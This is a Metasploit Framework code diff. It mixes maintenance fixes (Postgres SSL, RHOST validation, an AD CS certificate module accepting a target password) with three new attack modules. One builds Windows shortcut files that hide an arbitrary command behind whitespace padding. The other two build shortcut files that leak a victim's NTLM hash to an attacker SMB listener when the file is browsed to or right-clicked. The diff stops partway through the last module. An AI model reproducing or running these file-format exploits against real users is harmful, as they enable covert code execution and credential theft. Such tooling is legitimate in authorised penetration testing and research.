# @!attribute [rw] postgres_conn
|
||||
# @return [::Msf::Db::PostgresPR::Connection]
|
||||
|
||||
@@ -56,9 +56,14 @@ module Msf::Module::Failure
|
||||
info[:target_name] = self.target.name if self.respond_to?(:target)
|
||||
|
||||
if self.datastore['RHOST'] && (self.options['RHOST'] || self.options['RHOSTS'])
|
||||
info[:host] = self.datastore['RHOST']
|
||||
# Only include RHOST if it's a single valid host, not a multi-value string or file path
|
||||
rhost = self.datastore['RHOST'].to_s
|
||||
# Check if RHOST is a valid IP address to avoid ActiveRecord issues on validation
|
||||
if Rex::Socket.is_ip_addr?(rhost)
|
||||
info[:host] = rhost
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if self.datastore['RPORT'] and self.options['RPORT']
|
||||
info[:port] = self.datastore['RPORT']
|
||||
if self.class.ancestors.include?(Msf::Exploit::Remote::Tcp)
|
||||
|
||||
@@ -56,7 +56,7 @@ module Msf::Modules::Metadata::Store
|
||||
retries +=1
|
||||
|
||||
# Try to handle the scenario where the file is corrupted
|
||||
if (retries < 2 && ::File.exist?(@path_to_user_metadata))
|
||||
if retries < 2 && @path_to_user_metadata && ::File.exist?(@path_to_user_metadata)
|
||||
elog('Possible corrupt user metadata store, attempting restore')
|
||||
FileUtils.remove(@path_to_user_metadata)
|
||||
retry
|
||||
|
||||
@@ -353,7 +353,8 @@ module Msf
|
||||
return out
|
||||
end
|
||||
ps_output = get_ps_output(cmd_out, eof, datastore['Powershell::Post::timeout'])
|
||||
ps_output = ps_output[/#{start}(.*?)#{stop}/m, 1].strip #https://stackoverflow.com/a/9661504
|
||||
ps_output = ps_output[/#{start}(.*?)#{stop}/m, 1] #https://stackoverflow.com/a/9661504
|
||||
ps_output = ps_output.strip unless ps_output.nil?
|
||||
# Kill off the resulting processes if needed
|
||||
if ps_cleanup
|
||||
vprint_good "Cleaning up #{running_pids.join(', ')}"
|
||||
|
||||
+17
-6
@@ -17,7 +17,7 @@ module Msf
|
||||
"View all productivity tips with the #{highlight('tips')} command",
|
||||
"Enable verbose logging with #{highlight('set VERBOSE true')}",
|
||||
"When in a module, use #{highlight('back')} to go back to the top level prompt",
|
||||
"Tired of setting RHOSTS for modules? Try globally setting it with #{highlight('setg RHOSTS x.x.x.x')}",
|
||||
"Tired of setting #{highlight('RHOSTS')} for modules? Try globally setting it with #{highlight('setg RHOSTS x.x.x.x')}",
|
||||
"Enable HTTP request and response logging with #{highlight('set HttpTrace true')}",
|
||||
"You can upgrade a shell to a Meterpreter session on many platforms using #{highlight('sessions -u <session_id>')}",
|
||||
"Open an interactive Ruby terminal with #{highlight('irb')}",
|
||||
@@ -35,12 +35,23 @@ module Msf
|
||||
"Network adapter names can be used for IP options #{highlight('set LHOST eth0')}",
|
||||
"Use #{highlight('sessions -1')} to interact with the last opened session",
|
||||
"View missing module options with #{highlight('show missing')}",
|
||||
"Start commands with a space to avoid saving them to history",
|
||||
"You can pivot connections over sessions started with the ssh_login modules",
|
||||
'Start commands with a space to avoid saving them to history',
|
||||
'You can pivot connections over sessions started with the ssh_login modules',
|
||||
"Use the #{highlight('analyze')} command to suggest runnable modules for hosts",
|
||||
"Set the current module's RHOSTS with database values using #{highlight('hosts -R')} or #{highlight('services -R')}",
|
||||
"Use the 'capture' plugin to start multiple authentication-capturing and poisoning services",
|
||||
"The #{highlight('use')} command supports fuzzy searching to try and select the intended module, e.g. #{highlight('use kerberos/get_ticket')} or #{highlight('use kerberos forge silver ticket')}"
|
||||
"Set the current module's #{highlight('RHOSTS')} with database values using #{highlight('hosts -R')} or #{highlight('services -R')}",
|
||||
"Use the #{highlight('capture')} plugin to start multiple authentication-capturing and poisoning services",
|
||||
"The #{highlight('use')} command supports fuzzy searching to try and select the intended module, e.g., #{highlight('use kerberos/get_ticket')} or #{highlight('use kerberos forge silver ticket')}",
|
||||
"Organize your work by creating workspaces with #{highlight('workspace -a <name>')}",
|
||||
"Store discovered credentials for later use with #{highlight('creds')}",
|
||||
"Keep track of findings and observations with #{highlight('notes')}",
|
||||
"Add routes to pivot through a compromised host using #{highlight('route add <subnet> <session_id>')}",
|
||||
"Run modules in the background with #{highlight('run -j')} so you can keep working",
|
||||
"Stop all background jobs quickly with #{highlight('jobs -K')}",
|
||||
"Export your database results with #{highlight('db_export -f xml <file>')}",
|
||||
"Execute a command across all sessions with #{highlight('sessions -C <command>')}",
|
||||
"Use #{highlight('post/multi/manage/autoroute')} to automatically add pivot routes",
|
||||
"Use #{highlight('check')} before #{highlight('run')} to confirm if a target is vulnerable",
|
||||
"Bind your reverse shell to a tunnel with #{highlight('set ReverseListenerBindAddress <tunnel_address>')} and #{highlight('set ReverseListenerBindPort <tunnel_port>')} (e.g., ngrok)"
|
||||
].freeze
|
||||
private_constant :COMMON_TIPS
|
||||
|
||||
|
||||
@@ -56,12 +56,12 @@ class Connection
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(database, user, password=nil, uri = nil, proxies = nil)
|
||||
def initialize(database, user, password=nil, uri = nil, proxies = nil, ssl = nil, ssl_opts = {})
|
||||
uri ||= DEFAULT_URI
|
||||
|
||||
@transaction_status = nil
|
||||
@params = { 'username' => user, 'database' => database }
|
||||
establish_connection(uri, proxies)
|
||||
establish_connection(uri, proxies, ssl, ssl_opts)
|
||||
|
||||
# Check if the password supplied is a Postgres-style md5 hash
|
||||
md5_hash_match = password.match(/^md5([a-f0-9]{32})$/)
|
||||
@@ -231,7 +231,11 @@ class Connection
|
||||
|
||||
def close
|
||||
raise "connection already closed" if @conn.nil?
|
||||
@conn.shutdown
|
||||
if @conn.respond_to?(:shutdown)
|
||||
@conn.shutdown
|
||||
elsif @conn.respond_to?(:close)
|
||||
@conn.close
|
||||
end
|
||||
@conn = nil
|
||||
end
|
||||
|
||||
@@ -343,16 +347,35 @@ class Connection
|
||||
|
||||
# tcp://localhost:5432
|
||||
# unix:/tmp/.s.PGSQL.5432
|
||||
def establish_connection(uri, proxies)
|
||||
def establish_connection(uri, proxies, ssl = nil, ssl_opts = {})
|
||||
u = URI.parse(uri)
|
||||
case u.scheme
|
||||
when 'tcp'
|
||||
@conn = Rex::Socket.create(
|
||||
'PeerHost' => (u.host || DEFAULT_HOST).gsub(/[\[\]]/, ''), # Strip any brackets off (IPv6)
|
||||
'PeerPort' => (u.port || DEFAULT_PORT),
|
||||
'proto' => 'tcp',
|
||||
'Proxies' => proxies
|
||||
)
|
||||
params = Rex::Socket::Parameters.from_hash(
|
||||
'PeerHost' => (u.host || DEFAULT_HOST).gsub(/\[|\]/, ''),
|
||||
'PeerPort' => (u.port || DEFAULT_PORT),
|
||||
'proto' => 'tcp',
|
||||
'Proxies' => proxies,
|
||||
'SSLVersion' => ssl_opts[:ssl_version],
|
||||
'SSLVerifyMode' => ssl_opts[:ssl_verify_mode],
|
||||
'SSLCipher' => ssl_opts[:ssl_cipher]
|
||||
)
|
||||
@conn = Rex::Socket.create_param(params)
|
||||
|
||||
if ssl
|
||||
ssl_request_message = SSLRequest.new(80877103)
|
||||
@conn.write(ssl_request_message.dump)
|
||||
response = @conn.read(1)
|
||||
if response == 'S'
|
||||
@conn.extend(Rex::Socket::SslTcp)
|
||||
@conn.initsock_with_ssl_version(params, (params.ssl_version || Rex::Socket::Ssl::DEFAULT_SSL_VERSION))
|
||||
elsif response == 'N'
|
||||
# Server does not support SSL
|
||||
raise "SSL connection requested but server at #{u.host}:#{u.port} does not support SSL"
|
||||
else
|
||||
raise "Unexpected response to SSLRequest: #{response.inspect}"
|
||||
end
|
||||
end
|
||||
when 'unix'
|
||||
@conn = UNIXSocket.new(u.path)
|
||||
else
|
||||
|
||||
@@ -22,9 +22,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically
|
||||
ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.
|
||||
The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the
|
||||
admin/ldap/shadow_credentials module to add shadow credentials for the target user. It then uses the
|
||||
admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user and requests a certificate via
|
||||
MS-ICPR. The resulting certificate can be used for various operations, such as authentication.
|
||||
admin/ldap/shadow_credentials module to add shadow credentials for the target user if the target password is
|
||||
not provided. It then uses the admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user
|
||||
and requests a certificate via MS-ICPR. The resulting certificate can be used for various operations, such as
|
||||
authentication.
|
||||
|
||||
The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are
|
||||
reverted after execution to maintain system integrity.
|
||||
@@ -64,7 +65,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
OptString.new('LDAPPassword', [true, 'The password to authenticate with']),
|
||||
OptEnum.new('UPDATE_LDAP_OBJECT', [ true, 'Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert.', 'userPrincipalName', %w[userPrincipalName dNSHostName] ]),
|
||||
OptString.new('UPDATE_LDAP_OBJECT_VALUE', [ true, 'The account name you wish to impersonate', 'Administrator']),
|
||||
OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser'])
|
||||
OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser']),
|
||||
OptString.new('TARGET_PASSWORD', [false, 'The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticate as the TARGET_USERNAME'], aliases: ['SMBPass'])
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
@@ -200,18 +202,29 @@ class MetasploitModule < Msf::Auxiliary
|
||||
@original_value = call_ldap_object_module('UPDATE', new_value)
|
||||
fail_with(Failure::BadConfig, "The #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} is already set to #{datastore['UPDATE_LDAP_OBJECT_VALUE']}. After the module completes running it will revert the attribute to it's original value which will cause the certificate produced to throw a KDC_ERR_CLIENT_NAME_MISMATCH when attempting to use it. Try setting the #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} to anything but #{datastore['UPDATE_LDAP_OBJECT_VALUE']} using the ldap_object_attribute module and then rerun this module.") if @original_value.present? && @original_value.casecmp?(datastore['UPDATE_LDAP_OBJECT_VALUE'])
|
||||
|
||||
# Call the shadow credentials module to add the device and get the cert path
|
||||
print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")
|
||||
@device_id, cert_path = call_shadow_credentials_module('add')
|
||||
hash = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])
|
||||
smbpass = ''
|
||||
|
||||
if datastore['TARGET_PASSWORD'].present?
|
||||
smbpass = datastore['TARGET_PASSWORD']
|
||||
elsif datastore['LDAPUsername'] == datastore['TARGET_USERNAME']
|
||||
smbpass = datastore['LDAPPassword']
|
||||
else
|
||||
# Call the shadow credentials module to add the device and get the cert path
|
||||
print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")
|
||||
@device_id, cert_path = call_shadow_credentials_module('add')
|
||||
smbpass = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])
|
||||
end
|
||||
|
||||
with_ipc_tree do |opts|
|
||||
datastore['SMBUser'] = datastore['TARGET_USERNAME']
|
||||
datastore['SMBPass'] = hash
|
||||
datastore['SMBPass'] = smbpass
|
||||
request_certificate(opts)
|
||||
end
|
||||
ensure
|
||||
print_status('Removing shadow credential')
|
||||
call_shadow_credentials_module('remove', device_id: @device_id)
|
||||
unless @device_id.nil?
|
||||
print_status('Removing shadow credential')
|
||||
call_shadow_credentials_module('remove', device_id: @device_id)
|
||||
end
|
||||
print_status('Reverting ldap object')
|
||||
revert_ldap_object
|
||||
end
|
||||
|
||||
@@ -34,7 +34,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'URL', 'http://sourceforge.net/projects/smbexec' ],
|
||||
[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ]
|
||||
[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],
|
||||
[ 'ATT&CK', Mitre::Attack::Technique::T1003_003_NTDS ]
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
|
||||
@@ -0,0 +1,155 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
require 'faker'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows Shortcut (LNK) Padding',
|
||||
'Description' => %q{
|
||||
This module generates Windows LNK (shortcut) file that can execute
|
||||
arbitrary commands. The LNK file uses environment variables and execute
|
||||
its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace
|
||||
character padding bytes and concatenates the actual payload.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Nafiez' ],
|
||||
'References' => [
|
||||
['ZDI', '25-148'],
|
||||
['URL', 'https://zeifan.my/Windows-LNK/'],
|
||||
['URL', 'https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1'],
|
||||
['URL', 'https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' => [ [ 'Windows', {} ] ],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK]
|
||||
},
|
||||
'DisclosureDate' => '2025-07-19'
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]),
|
||||
OptString.new('DESCRIPTION', [ false, 'LNK file description', nil ]),
|
||||
OptString.new('ICON_PATH', [ false, 'Icon path for the LNK file', nil]),
|
||||
OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
datastore['FILENAME']
|
||||
command = datastore['COMMAND']
|
||||
description = datastore['DESCRIPTION']
|
||||
icon_path = datastore['ICON_PATH']
|
||||
|
||||
description = "#{Faker::Lorem.sentence(word_count: 3)}Shortcut" if description.blank?
|
||||
icon_path = "%SystemRoot%\\System32\\#{Faker::File.file_name(ext: 'icon')}%SystemRoot%\\System32\\shell32.dll" if icon_path.blank?
|
||||
|
||||
buffer_size = datastore['BUFFER_SIZE']
|
||||
|
||||
lnk_data = generate_lnk_file(command, description, icon_path, buffer_size)
|
||||
|
||||
filename = file_create(lnk_data)
|
||||
|
||||
print_good("successfully created #{filename}")
|
||||
print_status("command line buffer size: #{buffer_size} bytes")
|
||||
print_status("target command: #{command}")
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def generate_lnk_file(command, description, icon_path, buffer_size)
|
||||
data = ''.force_encoding('ASCII-8BIT')
|
||||
data << create_shell_link_header
|
||||
data << create_string_data(description)
|
||||
|
||||
cmd_buffer = create_command_buffer(command, buffer_size)
|
||||
|
||||
data << create_string_data(cmd_buffer)
|
||||
data << create_string_data(icon_path)
|
||||
data << create_environment_block
|
||||
|
||||
data
|
||||
end
|
||||
|
||||
def create_shell_link_header
|
||||
header = ''.force_encoding('ASCII-8BIT')
|
||||
header << [0x0000004C].pack('V')
|
||||
header << [0x00021401].pack('V')
|
||||
header << [0x0000].pack('v')
|
||||
header << [0x0000].pack('v')
|
||||
header << [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('C8')
|
||||
|
||||
link_flags = 0x00000004 | 0x00000020 | 0x00000040 | 0x00000080 | 0x00000200 | 0x02000000
|
||||
|
||||
header << [link_flags].pack('V')
|
||||
header << [0x00000000].pack('V')
|
||||
header << [0x00000000, 0x00000000].pack('VV')
|
||||
header << [0x00000000, 0x00000000].pack('VV')
|
||||
header << [0x00000000, 0x00000000].pack('VV')
|
||||
header << [0].pack('V')
|
||||
header << [0].pack('V')
|
||||
header << [0x00000007].pack('V')
|
||||
header << [0].pack('v')
|
||||
header << [0].pack('v')
|
||||
header << [0].pack('V')
|
||||
header << [0].pack('V')
|
||||
|
||||
header
|
||||
end
|
||||
|
||||
def create_string_data(str)
|
||||
data = ''.force_encoding('ASCII-8BIT')
|
||||
|
||||
data << [str.length].pack('v')
|
||||
|
||||
unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT')
|
||||
data << unicode_str
|
||||
|
||||
data
|
||||
end
|
||||
|
||||
def create_command_buffer(command, buffer_size)
|
||||
cmd_command = "/c #{command}"
|
||||
|
||||
cmd_len = cmd_command.length
|
||||
fill_bytes = buffer_size - cmd_len
|
||||
|
||||
buffer = ' ' * fill_bytes + cmd_command
|
||||
|
||||
buffer << "\x00"
|
||||
|
||||
buffer
|
||||
end
|
||||
|
||||
def create_environment_block
|
||||
data = ''.force_encoding('ASCII-8BIT')
|
||||
|
||||
block_size = 0x00000314
|
||||
data << [block_size].pack('V')
|
||||
|
||||
signature = 0xA0000001
|
||||
data << [signature].pack('V')
|
||||
|
||||
env_path = '%windir%\\system32\\cmd.exe'
|
||||
|
||||
ansi_buffer = env_path.ljust(260, "\x00")[0, 260].force_encoding('ASCII-8BIT')
|
||||
data << ansi_buffer
|
||||
|
||||
unicode_buffer = env_path.encode('UTF-16LE')
|
||||
unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT')
|
||||
data << unicode_buffer
|
||||
|
||||
data
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,185 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'faker'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::SMB::Server::Share
|
||||
include Msf::Exploit::Remote::SMB::Server::HashCapture
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak',
|
||||
'Description' => %q{
|
||||
This module creates a malicious Windows shortcut (LNK) file that
|
||||
specifies a special UNC path in EnvironmentVariableDataBlock of Shell Link (.LNK)
|
||||
that can trigger an authentication attempt to a remote server. This can be used
|
||||
to harvest NTLM authentication credentials.
|
||||
|
||||
When a victim right-click the generated LNK file, it will attempt to connect to the
|
||||
the specified UNC path, resulting in an SMB connection that can be captured
|
||||
to harvest credentials.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Nafiez', # Original POC & Module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://zeifan.my/Right-Click-LNK/']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' => [
|
||||
['Windows', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2025-05-06',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]),
|
||||
OptString.new('ICON_PATH', [false, 'The icon path to use', nil]),
|
||||
OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]),
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
lnk_data = create_lnk_file
|
||||
filename = file_create(lnk_data)
|
||||
print_good("LNK file created: #{filename}")
|
||||
|
||||
start_smb_capture_server
|
||||
print_status("Listening for hashes on #{srvhost}:#{srvport}")
|
||||
|
||||
stime = Time.now.to_f
|
||||
timeout = datastore['ListenerTimeout'].to_i
|
||||
loop do
|
||||
break if timeout > 0 && (stime + timeout < Time.now.to_f)
|
||||
|
||||
Rex::ThreadSafe.sleep(1)
|
||||
end
|
||||
end
|
||||
|
||||
def create_lnk_file
|
||||
data = ''.b
|
||||
|
||||
# LNK header - 76 bytes
|
||||
header = "\x4C\x00\x00\x00".b
|
||||
|
||||
# LinkCLSID (00021401-0000-0000-C000-000000000046)
|
||||
header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b
|
||||
|
||||
# Define LinkFlags
|
||||
link_flags = 0x00000000
|
||||
link_flags |= 0x00000004 # HAS_NAME
|
||||
link_flags |= 0x00000020 # HAS_ARGUMENTS
|
||||
link_flags |= 0x00000040 # HAS_ICON_LOCATION
|
||||
link_flags |= 0x00000080 # IS_UNICODE
|
||||
link_flags |= 0x00000200 # HAS_EXP_STRING
|
||||
|
||||
header += [link_flags].pack('V')
|
||||
|
||||
# FileAttributes (FILE_ATTRIBUTE_NORMAL)
|
||||
header += "\x20\x00\x00\x00".b
|
||||
|
||||
# CreationTime, AccessTime, WriteTime (zeroed)
|
||||
header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3
|
||||
|
||||
# FileSize
|
||||
header += "\x00\x00\x00\x00".b
|
||||
|
||||
# IconIndex
|
||||
header += "\x00\x00\x00\x00".b
|
||||
|
||||
# ShowCommand (SW_SHOWNORMAL)
|
||||
header += "\x01\x00\x00\x00".b
|
||||
|
||||
# HotKey
|
||||
header += "\x00\x00".b
|
||||
|
||||
# Reserved fields
|
||||
header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b
|
||||
|
||||
# Add the header to our binary data
|
||||
data += header
|
||||
|
||||
# NAME field (description in Unicode)
|
||||
description = datastore['DESCRIPTION'] || Faker::Lorem.sentence(word_count: 3)
|
||||
description_utf16 = description.encode('UTF-16LE').b
|
||||
data += [description_utf16.bytesize / 2].pack('v')
|
||||
data += description_utf16
|
||||
|
||||
# ARGUMENTS field (command line arguments in Unicode)
|
||||
padding_size = datastore['PADDING_SIZE']
|
||||
cmd_args = ' ' * padding_size
|
||||
cmd_args_utf16 = cmd_args.encode('UTF-16LE').b
|
||||
data += [cmd_args_utf16.bytesize / 2].pack('v')
|
||||
data += cmd_args_utf16
|
||||
|
||||
# ICON LOCATION field (icon path in Unicode)
|
||||
icon_path = datastore['ICON_PATH'] || 'e.g. abc.ico'
|
||||
icon_path_utf16 = icon_path.encode('UTF-16LE').b
|
||||
data += [icon_path_utf16.bytesize / 2].pack('v')
|
||||
data += icon_path_utf16
|
||||
|
||||
# ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE
|
||||
env_block_size = 0x00000314 # Total size of this block
|
||||
env_block_sig = 0xA0000001 # Environmental Variables block signature
|
||||
|
||||
data += [env_block_size].pack('V')
|
||||
data += [env_block_sig].pack('V')
|
||||
|
||||
# Target field in ANSI (260 bytes)
|
||||
unc_share = datastore['SHARE']
|
||||
unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
|
||||
unc_path = "\\\\#{srvhost}\\#{unc_share}"
|
||||
|
||||
# Create fixed-size ANSI buffer with nulls
|
||||
ansi_buffer = "\x00".b * 260
|
||||
|
||||
# Copy the UNC path bytes into the buffer
|
||||
unc_path.bytes.each_with_index do |byte, i|
|
||||
ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize
|
||||
end
|
||||
|
||||
data += ansi_buffer
|
||||
|
||||
# Target field in Unicode (520 bytes)
|
||||
unc_path_utf16 = unc_path.encode('UTF-16LE').b
|
||||
|
||||
# Create fixed-size Unicode buffer with nulls
|
||||
unicode_buffer = "\x00".b * 520
|
||||
|
||||
# Copy the UTF-16LE encoded UNC path bytes into the buffer
|
||||
unc_path_utf16.bytes.each_with_index do |byte, i|
|
||||
unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize
|
||||
end
|
||||
|
||||
data += unicode_buffer
|
||||
|
||||
data += "\x00\x00\x00\x00".b
|
||||
|
||||
data
|
||||
end
|
||||
|
||||
def get_unc_path
|
||||
"\\\\#{srvhost}\\#{Rex::Text.rand_text_alphanumeric(6)}"
|
||||
end
|
||||
|
||||
def start_smb_capture_server
|
||||
start_service
|
||||
print_status('The SMB service has been started.')
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,183 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'faker'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::SMB::Server::Share
|
||||
include Msf::Exploit::Remote::SMB::Server::HashCapture
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak',
|
||||
'Description' => %q{
|
||||
This module creates a malicious Windows shortcut (LNK) file that
|
||||
specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK)
|
||||
that can trigger an authentication attempt to a remote server. This can be used
|
||||
to harvest NTLM authentication credentials.
|
||||
|
||||
When a victim browse to the location of the LNK file, it will attempt to
|
||||
connect to the the specified UNC path, resulting in an SMB connection that
|
||||
can be captured to harvest credentials.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Nafiez', # Original POC & MSF Module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://zeifan.my/Right-Click-LNK/']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' => [
|
||||
['Windows', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2025-05-16',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
|
||||
OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]),
|
||||
OptString.new('ICON_PATH', [false, 'The icon path to use (not necessary using real ICON)', nil]),
|
||||
OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
description = datastore['DESCRIPTION']
|
||||
icon_path = datastore['ICON_PATH']
|
||||
|
||||
description = "#{Faker::Lorem.sentence(word_count: 3)}Shortcut" if description.blank?
|
||||
|
||||
icon_path = "%SystemRoot%\\System32\\#{Faker::File.file_name(ext: 'ico')}.to_s}%SystemRoot%\System32\shell32.dll" if icon_path.blank?
|
||||
|
||||
start_smb_capture_server
|
||||
unc_share = datastore['SHARE']
|
||||
unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
|
||||
unc_path = "\\\\#{srvhost}\\\\#{unc_share}"
|
||||
lnk_data = create_lnk_file(description, icon_path, unc_path)
|
||||
filename = file_create(lnk_data)
|
||||
print_good("LNK file created: #{filename}")
|
||||
print_status("Listening for hashes on #{srvhost}")
|
||||
|
||||
stime = Time.now.to_f
|
||||
timeout = datastore['ListenerTimeout'].to_i
|
||||
loop do
|
||||
break if timeout > 0 && (stime + timeout < Time.now.to_f)
|
||||
|
||||
Rex::ThreadSafe.sleep(1)
|
||||
end
|
||||
end
|
||||
|
||||
def create_lnk_file(description, icon_path, unc_path)
|
||||
data = ''.b
|
||||
|
||||
# LNK header - 76 bytes
|
||||
header = "\x4C\x00\x00\x00".b
|
||||
|
||||
# LinkCLSID (00021401-0000-0000-C000-000000000046)
|
||||
header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b
|
||||
|
||||
# Define LinkFlags
|
||||
link_flags = 0x00000000
|
||||
link_flags |= 0x00000004 # HAS_NAME
|
||||
link_flags |= 0x00000020 # HAS_ARGUMENTS
|
||||
link_flags |= 0x00000040 # HAS_ICON_LOCATION
|
||||
link_flags |= 0x00000080 # IS_UNICODE
|
||||
link_flags |= 0x00004000 # HAS_EXP_ICON
|
||||
|
||||
header += [link_flags].pack('V')
|
||||
|
||||
# FileAttributes (FILE_ATTRIBUTE_NORMAL)
|
||||
header += "\x20\x00\x00\x00".b
|
||||
|
||||
# CreationTime, AccessTime, WriteTime (zeroed)
|
||||
header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3
|
||||
|
||||
# FileSize
|
||||
header += "\x00\x00\x00\x00".b
|
||||
|
||||
# IconIndex
|
||||
header += "\x00\x00\x00\x00".b
|
||||
|
||||
# ShowCommand (SW_SHOWNORMAL)
|
||||
header += "\x01\x00\x00\x00".b
|
||||
|
||||
# HotKey
|
||||
header += "\x00\x00".b
|
||||
|
||||
# Reserved fields
|
||||
header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b
|
||||
|
||||
# Add the header to our binary data
|
||||
data += header
|
||||
|
||||
# NAME field (description in Unicode)
|
||||
description_utf16 = description.encode('UTF-16LE').b
|
||||
data += [description_utf16.bytesize / 2].pack('v')
|
||||
data += description_utf16
|
||||
|
||||
# ARGUMENTS field (command line arguments in Unicode)
|
||||
padding_size = datastore['PADDING_SIZE']
|
||||
cmd_args = ' ' * padding_size
|
||||
cmd_args_utf16 = cmd_args.encode('UTF-16LE').b
|
||||
data += [cmd_args_utf16.bytesize / 2].pack('v')
|
||||
